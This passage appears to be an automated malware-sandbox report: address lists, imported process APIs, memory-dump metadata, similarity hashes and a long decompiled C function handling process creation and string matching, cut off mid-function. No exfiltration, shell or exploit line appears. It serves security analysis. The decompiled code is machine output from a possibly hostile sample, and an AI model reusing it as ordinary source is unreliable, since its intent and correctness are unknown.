0x00080fd2
0x00080fd5
0x00080fd8
0x00080fdb
0x00000000
0x00080fdb
0x00080fcd
0x00080feb
0x00080feb
0x00000000
0x00080feb
0x00080fe8
0x00000000
0x00080fc7
0x00080fc7
0x00080fc9
0x00000000
0x00080fc9
0x00080f10
0x00080fee
0x00080fee
0x00080ff2
0x00080ff5
0x00080ff7
0x00080ff7
0x00080ffc
0x00081010
0x00081015
0x00081018
0x0008101a
0x00081080
0x00081084
0x00081086
0x00081088
0x00081088
0x0008108a
0x0008108d
0x00081090
0x00081092
0x00081095
0x00081098
0x0008109a
0x0008109d
0x000810a3
0x000810aa
0x000810ac
0x000810ae
0x000810b0
0x000810b2
0x000810b6
0x000810b6
0x000810b2
0x000810b8
0x000810bb
0x000810be
0x000810c0
0x000810c6
0x000810cd
0x000810cf
0x000810d1
0x000810d3
0x000810d5
0x000810d9
0x000810d9
0x000810d5
0x000810de
0x000810e2
0x000810e5
0x000810e6
0x00000000
0x0008101c
0x0008101c
0x0008101f
0x00081021
0x00081024
0x00081026
0x00081026
0x00081028
0x0008102a
0x0008102d
0x00081030
0x00081034
0x00081034
0x00081037
0x0008103f
0x00081041
0x00081043
0x0008118a
0x00000000
0x00081049
0x0008104d
0x0008104f
0x00081051
0x00081053
0x00081056
0x00081059
0x0008105c
0x0008105e
0x0008105e
0x00081060
0x00081065
0x00081067
0x00081076
0x0008107b
0x000810eb
0x000810eb
0x000810ee
0x000810f0
0x000810f2
0x000810f5
0x000810f5
0x000810f8
0x000810fd
0x00081100
0x00081100
0x00081104
0x00081107
0x00081107
0x0008110a
0x0008110d
0x00081110
0x00081112
0x00081114
0x00081114
0x00081118
0x00081119
0x0008111b
0x0008111d
0x00081120
0x00081125
0x00081128
0x00081128
0x0008112b
0x0008112b
0x0008112f
0x0008112f
0x00081132
0x00081134
0x0008115d
0x0008115d
0x00081162
0x00081169
0x00081170
0x0008117b
0x00081189
0x00081136
0x00081136
0x00081139
0x0008113b
0x00081141
0x00081153
0x00081153
0x00081155
0x0008115a
0x00000000
0x00081143
0x00081143
0x00081146
0x0008114e
0x00081151
0x0008118f
0x0008118f
0x00081194
0x00081195
0x00081196
0x00081197
0x00081198
0x00081199
0x0008119a
0x0008119b
0x0008119c
0x0008119d
0x0008119e
0x0008119f
0x000811a0
0x000811a3
0x000811a5
0x000811b0
0x000811b1
0x000811b4
0x000811b5
0x000811b6
0x000811b7
0x000811be
0x000811c2
0x000811c8
0x000811cb
0x000811cd
0x000811d0
0x000811d7
0x000811da
0x000811e0
0x000811e0
0x000811e3
0x00000000
0x00000000
0x000811eb
0x000811f0
0x000811fb
0x000811fd
0x00081200
0x00081206
0x00081208
0x0008120a
0x00081231
0x00081232
0x00081238
0x0008123b
0x0008123d
0x00081245
0x00081248
0x0008120c
0x0008120f
0x00081212
0x00081214
0x00081217
0x00081219
0x00081219
0x0008121b
0x0008121f
0x00081221
0x00081229
0x0008122c
0x0008122c
0x0008120a
0x00081250
0x0008125e
0x00000000
0x00000000
0x00000000
0x00081151
0x00081141
0x00081134
0x00081043
0x00000000
0x00000000
0x00000000
0x00080e0d
0x00080dfd
0x00080df0
0x00080cfa
0x00080af7
0x00080af7
0x00000000
0x00080af7
0x00080af5
0x00080ae5
0x00080abc
0x0007eb13
0x0007eb69
0x0007eb69
0x0007eb70
0x0007eb74
0x0007eb9a
0x0007eb76
0x0007eb7b
0x0007eb81
0x0007eb86
0x0007eb8c
0x0007eb8c
0x0007eba2
0x0007eba7
0x0007ebad
0x0007ebba
0x0007ebba
0x0007eb0d
0x0007eafa
0x0007ea75
0x0007ea6c
0x0007e9ae
0x0007e9c5
0x0007e9c5
0x0007e9cc
0x0007e9d0
0x0007e9f6
0x0007e9d2
0x0007e9d7
0x0007e9dd
0x0007e9e2
0x0007e9e8
0x0007e9e8
0x0007e9fe
0x0007ea03
0x0007ea09
0x0007ea19
0x0007ea19
0x0007e9ac
0x00000000
0x00000000
0x00000000
0x0007e904
0x0007e7fa
0x0007e809
0x0007e810
0x0007e815
0x0007e818
0x0007e81a
0x0007e86f
0x00000000
0x0007e81c
0x0007e81c
0x0007e81f
0x0007e826
0x0007e82a
0x0007e83f
0x0007e847
0x0007e82c
0x0007e82c
0x0007e834
0x0007e834
0x0007e856
0x0007e85c
0x0007e86c
0x0007e86c
0x0007e81a
0x0007e7f8
0x0007e68e
0x0007e6a5
0x0007e6a5
0x0007e6ac
0x0007e6b0
0x0007e6d6
0x0007e6b2
0x0007e6b7
0x0007e6bd
0x0007e6c2
0x0007e6c8
0x0007e6c8
0x0007e6de
0x0007e6e3
0x0007e6e9
0x0007e6f9
0x0007e6f9
0x0007e68c
0x00000000
0x00000000
0x00000000
0x0007e5e4

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,00001000,?,?,00001004,00001078), ref: 0007E624
CloseHandle.KERNEL32(000000FF), ref: 0007E660
CloseHandle.KERNEL32(000000FF), ref: 0007E664
GetLastError.KERNEL32 ref: 0007E69C

Part of subcall function 000564C0: TerminateProcess.KERNEL32(00000040,00000001,?,?,?,00000000,00000000,?,?,00062995), ref: 00056533
Part of subcall function 000564C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00062995), ref: 0005655A
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 00056568
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 000565B7
Part of subcall function 000564C0: CloseHandle.KERNEL32(?), ref: 000565BC

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$ErrorLastProcess_free$CreateTerminate_abort
String ID:
API String ID: 2899271928-0
Opcode ID: 710a38b76f1d40faac8c6e59ccf1658b5cd44ccaf9e4660131af1b53dd8e8977
Instruction ID: e302bc3ff2f75cd01a5ea718d708795de1b0e5d3046e8d7c887c27ec61ea22e0
Opcode Fuzzy Hash: 710a38b76f1d40faac8c6e59ccf1658b5cd44ccaf9e4660131af1b53dd8e8977
Instruction Fuzzy Hash: 0051C071A01A06EFCB14CF59C980A69BBF0FF08304B148169E919877A1E736F864CF95

Uniqueness

Uniqueness Score: 16.53%

Function 0007E890, Relevance: 6.1, APIs: 4, Instructions: 145
processCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E0007E890(long* __ecx, long _a4) {
				signed int _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _v20;
				long* _v24;
				long* _v28;
				signed int _v32;
				long* _v36;
				long* _v40;
				long _v44;
				signed int _v48;
				long* _v52;
				signed int _v56;
				char _v60;
				char _v64;
				signed int _v68;
				signed int* _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v104;
				signed int _v108;
				intOrPtr* _v112;
				intOrPtr* _v116;
				signed int _v148;
				char _v156;
				signed int _v160;
				signed int _v164;
				intOrPtr _v168;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr* _v228;
				intOrPtr* _v232;
				signed int _v264;
				char _v272;
				signed int _v276;
				signed int _v280;
				intOrPtr _v284;
				intOrPtr _v292;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v340;
				signed int _v352;
				char _v360;
				intOrPtr _v364;
				signed int _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t331;
				long _t335;
				int _t343;
				signed int _t347;
				signed int _t350;
				long _t354;
				long _t361;
				int _t363;
				signed int _t367;
				void* _t368;
				signed int _t371;
				signed int _t375;
				signed int* _t379;
				signed int _t387;
				void* _t388;
				void* _t391;
				signed int _t392;
				signed int _t398;
				signed int* _t402;
				signed int _t410;
				void* _t411;
				void* _t414;
				signed int _t415;
				signed int _t421;
				signed int _t424;
				intOrPtr* _t425;
				signed short _t426;
				signed int _t431;
				signed int _t433;
				signed int _t435;
				signed int _t436;
				char _t437;
				void* _t440;
				intOrPtr* _t449;
				signed int _t450;
				signed int _t453;
				intOrPtr* _t455;
				signed int _t457;
				signed int _t459;
				signed int* _t461;
				intOrPtr* _t462;
				long* _t463;
				void* _t466;
				intOrPtr* _t474;
				signed int _t475;
				intOrPtr* _t479;
				signed int _t481;
				signed int _t493;
				signed int _t504;
				void* _t507;
				signed int _t509;
				void* _t510;
				signed int _t511;
				signed int* _t512;
				intOrPtr _t514;
				signed int* _t515;
				intOrPtr _t518;
				intOrPtr _t519;
				signed int* _t521;
				long _t525;
				long* _t526;
				signed int* _t527;
				long _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t536;
				intOrPtr* _t537;
				signed int _t540;
				signed int _t541;
				intOrPtr _t545;
				signed int _t546;
				signed int _t547;
				signed int _t549;
				signed int _t550;
				signed int _t557;
				signed int _t559;
				signed int _t561;
				intOrPtr* _t563;
				signed int _t565;
				signed int _t567;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t571;
				intOrPtr* _t573;
				signed int _t575;
				signed int _t577;
				intOrPtr* _t578;
				signed int* _t582;
				signed int* _t586;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int* _t593;
				signed int _t595;
				signed int _t596;
				signed int* _t597;
				signed int _t600;
				intOrPtr _t602;
				signed int _t604;
				intOrPtr _t607;
				long* _t610;
				long* _t612;
				signed int _t614;
				intOrPtr* _t616;
				intOrPtr* _t617;
				intOrPtr* _t619;
				signed int _t620;
				intOrPtr _t624;
				signed int _t626;
				intOrPtr* _t627;
				void* _t628;
				intOrPtr* _t629;
				void* _t633;
				void* _t636;
				signed int _t637;
				void* _t640;
				intOrPtr* _t641;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				signed int _t646;
				intOrPtr* _t647;
				signed int* _t648;
				signed int _t649;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr* _t657;
				signed int _t661;
				signed int _t663;
				signed int _t665;
				signed int _t667;
				void* _t671;
				signed int _t674;
				void* _t675;
				signed int _t678;
				void* _t679;
				signed int _t681;
				signed int _t684;
				signed int* _t685;
				signed int _t689;
				signed int* _t690;
				intOrPtr _t693;

				_t507 = _t671;
				_t674 = (_t671 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t507 + 4));
				_t661 = _t674;
				_push(0xffffffff);
				_push(0x12ff08);
				_push( *[fs:0x0]);
				_push(_t507);
				_t675 = _t674 - 0x20;
				_t331 =  *0x16f170; // 0xd529e887
				_push(_t331 ^ _t661);
				 *[fs:0x0] =  &_v24;
				_t610 = __ecx;
				_t588 =  *(__ecx + 0x48);
				_t335 =  *( *(__ecx + 0x74));
				if(_t588 != 0) {
					L9:
					_t521 =  *( *(_t610[0x1d]) + 0x34);
					 *_t521 = _t588;
					_t521[1] = _t610[0x13];
					E00056420( *((intOrPtr*)(_t507 + 8)));
					goto L21;
				} else {
					if( *((intOrPtr*)(_t335 + 0x30)) == _t588 ||  *((intOrPtr*)(_t335 + 0x28)) != _t588) {
						_t525 = _t335;
						if( *((intOrPtr*)(_t335 + 0x14)) >= 8) {
							_t525 =  *_t335;
						}
						_t610[0x1b] = _t525;
						_t335 = _t335 + 0x18;
					}
					if( *((intOrPtr*)(_t335 + 0x14)) >= 8) {
						_t335 =  *_t335;
					}
					_t610[0xc] = _t610[0xc] | 0x00000001;
					_t610[0x1a] = _t335;
					if(_t588 == 0) {
						_t343 = CreateProcessW(_t610[0x1b], _t610[0x1a], _t610[0x16], _t610[0x17], _t610[0x18],  *_t610, _t610[0x1c], _t610[0x19],  &(_t610[1]),  &(_t610[0x1e]));
						asm("movups xmm0, [esi]");
						_t526 = _t610[0x15];
						_v32 = _t343;
						asm("movups [ebp-0x30], xmm0");
						__eflags = _t526;
						if(_t526 != 0) {
							asm("lock inc dword [ecx+0x4]");
							_t526 = _t610[0x15];
						}
						_v44 = _t610[0x14];
						_v40 = _t526;
						_v36 = 1;
						_v16 = 0;
						_t633 = CloseHandle;
						CloseHandle(0xffffffff);
						CloseHandle(0xffffffff);
						__eflags = _v32;
						_push(0x17a3a0);
						_push(E000735B0);
						_push(0x17a40c);
						if(_v32 == 0) {
							_t347 = E000D7269();
							_t678 = _t675 + 0xc;
							__eflags = _t347;
							if(_t347 == 0) {
								goto L23;
							} else {
								_t610[0x12] = GetLastError();
								goto L17;
							}
						} else {
							_t610[0x12] = 0;
							_t504 = E000D7269();
							_t678 = _t675 + 0xc;
							__eflags = _t504;
							if(_t504 == 0) {
								E0010F5C4(_t507, _t526, _t588, _t610);
								L23:
								E0010F5C4(_t507, _t526, _t588, _t610);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t661);
								_t663 = _t678;
								_push(0xffffffff);
								_push(0x12ff38);
								_push( *[fs:0x0]);
								_t679 = _t678 - 0x20;
								_push(_t633);
								_push(_t610);
								_t350 =  *0x16f170; // 0xd529e887
								_push(_t350 ^ _t663);
								 *[fs:0x0] =  &_v88;
								_t612 = _t526;
								_t589 = _t612[0x12];
								_t354 =  *(_t612[0x1d]);
								__eflags = _t589;
								if(_t589 != 0) {
									L40:
									_t527 =  *( *(_t612[0x1d]) + 0x34);
									 *_t527 = _t589;
									_t527[1] = _t612[0x13];
									E00056420(_v8);
									goto L47;
								} else {
									__eflags =  *((intOrPtr*)(_t354 + 0x30)) - _t589;
									if( *((intOrPtr*)(_t354 + 0x30)) == _t589) {
										L35:
										__eflags =  *((intOrPtr*)(_t354 + 0x14)) - 0x10;
										_t531 = _t354;
										if( *((intOrPtr*)(_t354 + 0x14)) >= 0x10) {
											_t531 =  *_t354;
										}
										_t361 = _t354 + 0x18;
										_t612[0x1b] = _t531;
										__eflags =  *((intOrPtr*)(_t361 + 0x14)) - 0x10;
										if( *((intOrPtr*)(_t361 + 0x14)) >= 0x10) {
											_t361 =  *_t361;
										}
										_t612[0x1a] = _t361;
										__eflags = _t589;
										if(_t589 == 0) {
											goto L30;
										} else {
											goto L40;
										}
									} else {
										__eflags =  *((intOrPtr*)(_t354 + 0x28)) - _t589;
										if( *((intOrPtr*)(_t354 + 0x28)) != _t589) {
											goto L35;
										} else {
											__eflags =  *((intOrPtr*)(_t354 + 0x14)) - 0x10;
											if( *((intOrPtr*)(_t354 + 0x14)) >= 0x10) {
												_t354 =  *_t354;
											}
											_t612[0x1a] = _t354;
											L30:
											_t363 = CreateProcessA(_t612[0x1b], _t612[0x1a], _t612[0x16], _t612[0x17], _t612[0x18],  *_t612, _t612[0x1c], _t612[0x19],  &(_t612[1]),  &(_t612[0x1e]));
											asm("movups xmm0, [esi]");
											_t532 = _t612[0x15];
											_v32 = _t363;
											asm("movups [ebp-0x2c], xmm0");
											__eflags = _t532;
											if(_t532 != 0) {
												asm("lock inc dword [ecx+0x4]");
												_t532 = _t612[0x15];
											}
											_v44 = _t612[0x14];
											_v40 = _t532;
											_v36 = 1;
											_v20 = 0;
											_t636 = CloseHandle;
											CloseHandle(0xffffffff);
											CloseHandle(0xffffffff);
											__eflags = _v32;
											_push(0x17a3a0);
											_push(E000735B0);
											_push(0x17a40c);
											if(_v32 == 0) {
												_t367 = E000D7269();
												_t681 = _t679 + 0xc;
												__eflags = _t367;
												if(_t367 == 0) {
													goto L49;
												} else {
													_t612[0x12] = GetLastError();
													goto L43;
												}
											} else {
												_t612[0x12] = 0;
												_t493 = E000D7269();
												_t681 = _t679 + 0xc;
												__eflags = _t493;
												if(_t493 == 0) {
													E0010F5C4(_t507, _t532, _t589, _t612);
													L49:
													_t368 = E0010F5C4(_t507, _t532, _t589, _t612);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_t533 =  *(_t532 + 0xc);
													_push(_t612);
													_t614 = _t533;
													__eflags = _t614;
													if(_t614 == 0) {
														L60:
														return _t368;
													} else {
														_push(_t636);
														_t637 =  *_t614;
														__eflags = _t637;
														if(_t637 == 0) {
															L59:
															_push(0x14);
															_t368 = E000ED2D0(_t614);
															goto L60;
														} else {
															_push(_t507);
															_t509 =  *(_t614 + 4);
															__eflags = _t637 - _t509;
															if(_t637 != _t509) {
																do {
																	_t103 = _t637 + 4; // 0x7757ea1c
																	E00053860(_t103);
																	_t637 = _t637 + 8;
																	__eflags = _t637 - _t509;
																} while (_t637 != _t509);
																_t637 =  *_t614;
															}
															_t371 =  *(_t614 + 8) - _t637 & 0xfffffff8;
															_pop(_t510);
															__eflags = _t371 - 0x1000;
															if(_t371 < 0x1000) {
																L58:
																_push(_t371);
																E000ED2D0(_t637);
																 *_t614 = 0;
																_t681 = _t681 + 8;
																 *(_t614 + 4) = 0;
																 *(_t614 + 8) = 0;
																goto L59;
															} else {
																_t534 =  *(_t637 - 4);
																_t371 = _t371 + 0x23;
																_t640 = _t637 - _t534 + 0xfffffffc;
																__eflags = _t640 - 0x1f;
																if(__eflags > 0) {
																	E0010F44B(_t510, _t534, _t589, _t614, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t663);
																	_t665 = _t681;
																	_push(0xffffffff);
																	_push(0x12ffc8);
																	_push( *[fs:0x0]);
																	_push(_t510);
																	_push(_t640);
																	_push(_t614);
																	_t375 =  *0x16f170; // 0xd529e887
																	_push(_t375 ^ _t665);
																	 *[fs:0x0] =  &_v156;
																	_v160 = _t534;
																	_t616 = _v116;
																	_t641 = _v112;
																	_t511 = _v108;
																	_push(8);
																	_v168 = _v104;
																	_v208 = 0;
																	_v204 = 0;
																	_v200 = 0;
																	_v196 = 0;
																	_v192 = 0;
																	_t379 = E000ECF08(_t641, __eflags);
																	_v208 = _t379;
																	_t684 = _t681 - 0x38 + 4;
																	 *_t379 = 0;
																	_t379[1] = 0;
																	 *_v208 =  &_v208;
																	_t590 = _v160;
																	_t381 = _t590;
																	_v148 = 0;
																	_v164 = _t590;
																	__eflags =  *((intOrPtr*)(_t590 + 0x14)) - 0x10;
																	if(__eflags >= 0) {
																		_t381 =  *_t590;
																		_v40 =  *_t590;
																	}
																	_t536 = _t590;
																	if(__eflags >= 0) {
																		_t536 =  *_t590;
																	}
																	__eflags = _t616 - _t641;
																	if(_t616 != _t641) {
																		while(1) {
																			L67:
																			E000882E0( &_v52,  &_v84, _t536, _t381, _t536, _t616);
																			_push(_v44);
																			_t607 = _v72 + _v68;
																			_push(_t511);
																			_t684 = _t684 - 0xc;
																			_v40 = _v52;
																			_t474 = _t641;
																			_t575 = _t684;
																			_v48 = _t474;
																			_t629 = _t474;
																			_t475 = _v84;
																			 *_t575 = 0;
																			 *(_t575 + 4) = 0;
																			__eflags = _t475;
																			if(_t475 != 0) {
																				_t481 =  *_t475;
																				__eflags = _t481;
																				if(_t481 != 0) {
																					 *_t575 =  *_t481;
																				}
																			}
																			 *((intOrPtr*)(_t575 + 8)) = _t607;
																			_push( &_v64);
																			E00088430();
																			_t590 = _v36;
																			_t577 = _t590;
																			__eflags =  *((intOrPtr*)(_t590 + 0x14)) - 0x10;
																			if( *((intOrPtr*)(_t590 + 0x14)) >= 0x10) {
																				_t577 =  *_t590;
																			}
																			_t144 = _t590 + 0x10; // 0x1df4b8ff
																			_t479 =  *_t144 + _t577;
																			__eflags = _t629 - _t479;
																			if(_t629 == _t479) {
																				goto L83;
																			}
																			_t519 = _v8;
																			_t578 = _v12;
																			while(1) {
																				__eflags = _t578 - _t519;
																				if(_t578 == _t519) {
																					break;
																				}
																				_t641 = _t629;
																				__eflags = _t629 - _t479;
																				if(_t629 == _t479) {
																					L80:
																					__eflags = _t578 - _t519;
																					if(_t578 == _t519) {
																						goto L86;
																					} else {
																						_t578 = _v12;
																						_t629 = _t629 + 1;
																						__eflags = _t629 - _t479;
																						if(_t629 != _t479) {
																							continue;
																						} else {
																							_t590 = _v36;
																							goto L83;
																						}
																					}
																				} else {
																					asm("o16 nop [eax+eax]");
																					while(1) {
																						__eflags = _t578 - _t519;
																						if(_t578 == _t519) {
																							break;
																						}
																						__eflags =  *_t641 -  *_t578;
																						if( *_t641 !=  *_t578) {
																							goto L80;
																						} else {
																							_t641 = _t641 + 1;
																							_t578 = _t578 + 1;
																							__eflags = _t641 - _t479;
																							if(_t641 != _t479) {
																								continue;
																							} else {
																								goto L80;
																							}
																						}
																						goto L88;
																					}
																					L86:
																					_t590 = _v36;
																					L84:
																					__eflags = _t616 - _t641;
																					if(_t616 != _t641) {
																						_t511 = _v0;
																						_t536 = _v48;
																						_v44 = _a4;
																						_t381 = _v40;
																						goto L67;
																					}
																				}
																				L88:
																				_t536 = _v48;
																				goto L89;
																			}
																			_t590 = _v36;
																			goto L88;
																			L83:
																			_t616 = _t479;
																			_t641 = _t479;
																			goto L84;
																		}
																	}
																	L89:
																	__eflags =  *((intOrPtr*)(_t590 + 0x14)) - 0x10;
																	_t642 = _t590;
																	if( *((intOrPtr*)(_t590 + 0x14)) >= 0x10) {
																		_t642 =  *_t590;
																	}
																	_t158 = _t590 + 0x10; // 0x1df4b8ff
																	_t159 = _t590 + 0x10; // 0x12ffd8
																	_t512 = _t159;
																	E000882E0( &_v52,  &_v84, _t536, _v40, _t536,  *_t158 + _t642);
																	_t591 = _v68;
																	__eflags = _t591;
																	if(_t591 != 0) {
																		_t617 = _v36;
																		_t537 = _t617;
																		__eflags =  *((intOrPtr*)(_t617 + 0x14)) - 0x10;
																		if( *((intOrPtr*)(_t617 + 0x14)) >= 0x10) {
																			_t537 =  *_t617;
																		}
																		_t387 =  *_t512;
																		_t685 = _t684 - 0xc;
																		_t512 = _v72;
																		_t388 = _t387 + _t537;
																		_t643 = _v84;
																		_v52 = _t512 + _t591;
																		_t593 = _t685;
																		 *_t593 = 0;
																		_t593[1] = 0;
																		__eflags = _t643;
																		if(_t643 != 0) {
																			_t571 =  *_t643;
																			__eflags = _t571;
																			if(_t571 != 0) {
																				 *_t593 =  *_t571;
																			}
																		}
																		_t684 = _t685 - 0xc;
																		_t593[2] = _v52;
																		_t594 = _t684;
																		 *_t594 = 0;
																		 *(_t594 + 4) = 0;
																		__eflags = _t643;
																		if(_t643 != 0) {
																			_t569 =  *_t643;
																			__eflags = _t569;
																			if(_t569 != 0) {
																				 *_t594 =  *_t569;
																			}
																		}
																		_push(_t388);
																		 *(_t594 + 8) = _t512;
																		E00088820(_t617,  &_v52);
																		goto L109;
																	} else {
																		_t462 = _v36;
																		_t657 = _t462;
																		_t165 = _t462 + 0x14; // 0xc5e90016
																		_t541 =  *_t165;
																		__eflags = _t541 - 0x10;
																		if(__eflags >= 0) {
																			_t657 =  *_t462;
																		}
																		_t594 =  *_t512;
																		_v48 = _t462;
																		_t617 = _t594 + _t657;
																		if(__eflags >= 0) {
																			_v48 =  *_t462;
																		}
																		_t463 = _v52;
																		_t646 = _t463 - _v48;
																		__eflags = _t594 - _t646;
																		if(_t594 < _t646) {
																			E0006AE60(_t541, _t617);
																			goto L125;
																		} else {
																			_t628 = _t617 - _t463;
																			_t466 = _t594 - _t646;
																			__eflags = _t466 - _t628;
																			_t617 =  <  ? _t466 : _t628;
																			__eflags = _t541 - 0x10;
																			_t573 = _v36;
																			if(_t541 >= 0x10) {
																				_t573 =  *_t573;
																			}
																			_t604 = _t594 - _t617;
																			 *_t512 = _t604;
																			_t594 = _t604 - _t646 + 1;
																			E00104E60(_t573 + _t646, _t573 + _t646 + _t617, _t604 - _t646 + 1);
																			_t684 = _t684 + 0xc;
																			L109:
																			_t540 = _v68;
																			__eflags = _t540;
																			if(_t540 != 0) {
																				_t461 = _v72;
																				do {
																					_t540 = _t540 - 1;
																					_t594 = 0;
																					_t461 =  ==  ? 0 : _t461;
																					__eflags = _t540;
																				} while (_t540 != 0);
																				_v72 = _t461;
																				_v68 = _t540;
																			}
																			_t644 = _v76;
																			_t541 = _v80;
																			__eflags = _t644;
																			if(_t644 != 0) {
																				do {
																					_t459 =  *(_t541 + _t644 * 4 - 4);
																					_t644 = _t644 - 1;
																					__eflags = _t459;
																					if(_t459 != 0) {
																						_push(0x10);
																						E000ED2D0(_t459);
																						_t541 = _v80;
																						_t684 = _t684 + 8;
																					}
																					__eflags = _t644;
																				} while (_t644 != 0);
																				_t644 = _v76;
																			}
																			__eflags = _t541;
																			if(_t541 == 0) {
																				L123:
																				_push(8);
																				_v76 = 0;
																				_v80 = 0;
																				_t391 = E000ED2D0(_v84);
																				 *[fs:0x0] = _v32;
																				return _t391;
																			} else {
																				_t646 = _t644 << 2;
																				_t392 = _t541;
																				__eflags = _t646 - 0x1000;
																				if(_t646 < 0x1000) {
																					L122:
																					_push(_t646);
																					E000ED2D0(_t541);
																					_t684 = _t684 + 8;
																					goto L123;
																				} else {
																					_t541 =  *(_t541 - 4);
																					_t646 = _t646 + 0x23;
																					__eflags = _t392 - _t541 + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						L125:
																						E0010F44B(_t512, _t541, _t594, _t617, __eflags);
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t665);
																						_t667 = _t684;
																						_push(0xffffffff);
																						_push(0x12fff8);
																						_push( *[fs:0x0]);
																						_push(_t512);
																						_push(_t646);
																						_push(_t617);
																						_t398 =  *0x16f170; // 0xd529e887
																						_push(_t398 ^ _t667);
																						 *[fs:0x0] =  &_v272;
																						_v276 = _t541;
																						_t619 = _v232;
																						_t647 = _v228;
																						_t514 = _v224;
																						_push(8);
																						_v284 = _v220;
																						_v328 = 0;
																						_v324 = 0;
																						_v320 = 0;
																						_v316 = 0;
																						_v312 = 0;
																						_t402 = E000ECF08(_t647, __eflags);
																						_v328 = _t402;
																						_t689 = _t684 - 0x38 + 4;
																						 *_t402 = 0;
																						_t402[1] = 0;
																						 *_v328 =  &_v328;
																						_t595 = _v276;
																						_t404 = _t595;
																						_v264 = 0;
																						_v280 = _t595;
																						_t545 =  *((intOrPtr*)(_t595 + 0x14));
																						_v292 = _t545;
																						__eflags = _t545 - 8;
																						if(_t545 >= 8) {
																							_t404 =  *_t595;
																							_v44 =  *_t595;
																						}
																						__eflags =  *((intOrPtr*)(_t595 + 0x14)) - 8;
																						_t546 = _t595;
																						if( *((intOrPtr*)(_t595 + 0x14)) >= 8) {
																							_t546 =  *_t595;
																						}
																						__eflags = _t619 - _t647;
																						if(_t619 != _t647) {
																							while(1) {
																								L131:
																								E00088990( &_v60,  &_v92, _t546, _t404, _t546, _t619);
																								_push(_v48);
																								_t602 = _v80 + _v76;
																								_push(_t514);
																								_t689 = _t689 - 0xc;
																								_v44 = _v60;
																								_t449 = _t647;
																								_t565 = _t689;
																								_v52 = _t449;
																								_t627 = _t449;
																								_t450 = _v92;
																								 *_t565 = 0;
																								 *(_t565 + 4) = 0;
																								__eflags = _t450;
																								if(_t450 != 0) {
																									_t457 =  *_t450;
																									__eflags = _t457;
																									if(_t457 != 0) {
																										 *_t565 =  *_t457;
																									}
																								}
																								 *((intOrPtr*)(_t565 + 8)) = _t602;
																								_push( &_v72);
																								E00088AE0();
																								_t595 = _v40;
																								_t567 = _t595;
																								_t453 =  *((intOrPtr*)(_t595 + 0x14));
																								_v56 = _t453;
																								__eflags = _t453 - 8;
																								if(_t453 >= 8) {
																									_t567 =  *_t595;
																								}
																								_t455 = _t567 +  *(_t595 + 0x10) * 2;
																								__eflags = _t627 - _t455;
																								if(_t627 == _t455) {
																									goto L147;
																								}
																								_t518 = _v12;
																								_t568 = _v16;
																								while(1) {
																									__eflags = _t568 - _t518;
																									if(_t568 == _t518) {
																										break;
																									}
																									_t647 = _t627;
																									__eflags = _t627 - _t455;
																									if(_t627 == _t455) {
																										L144:
																										__eflags = _t568 - _t518;
																										if(_t568 == _t518) {
																											goto L150;
																										} else {
																											_t568 = _v16;
																											_t627 = _t627 + 2;
																											__eflags = _t627 - _t455;
																											if(_t627 != _t455) {
																												continue;
																											} else {
																												_t595 = _v40;
																												goto L147;
																											}
																										}
																									} else {
																										asm("o16 nop [eax+eax]");
																										while(1) {
																											__eflags = _t568 - _t518;
																											if(_t568 == _t518) {
																												break;
																											}
																											__eflags =  *_t647 -  *_t568;
																											if( *_t647 !=  *_t568) {
																												goto L144;
																											} else {
																												_t647 = _t647 + 2;
																												_t568 = _t568 + 2;
																												__eflags = _t647 - _t455;
																												if(_t647 != _t455) {
																													continue;
																												} else {
																													goto L144;
																												}
																											}
																											goto L152;
																										}
																										L150:
																										_t595 = _v40;
																										L148:
																										__eflags = _t619 - _t647;
																										if(_t619 != _t647) {
																											_t514 = _v4;
																											_t546 = _v52;
																											_v48 = _v0;
																											_t404 = _v44;
																											goto L131;
																										}
																									}
																									L152:
																									_t546 = _v52;
																									goto L153;
																								}
																								_t595 = _v40;
																								goto L152;
																								L147:
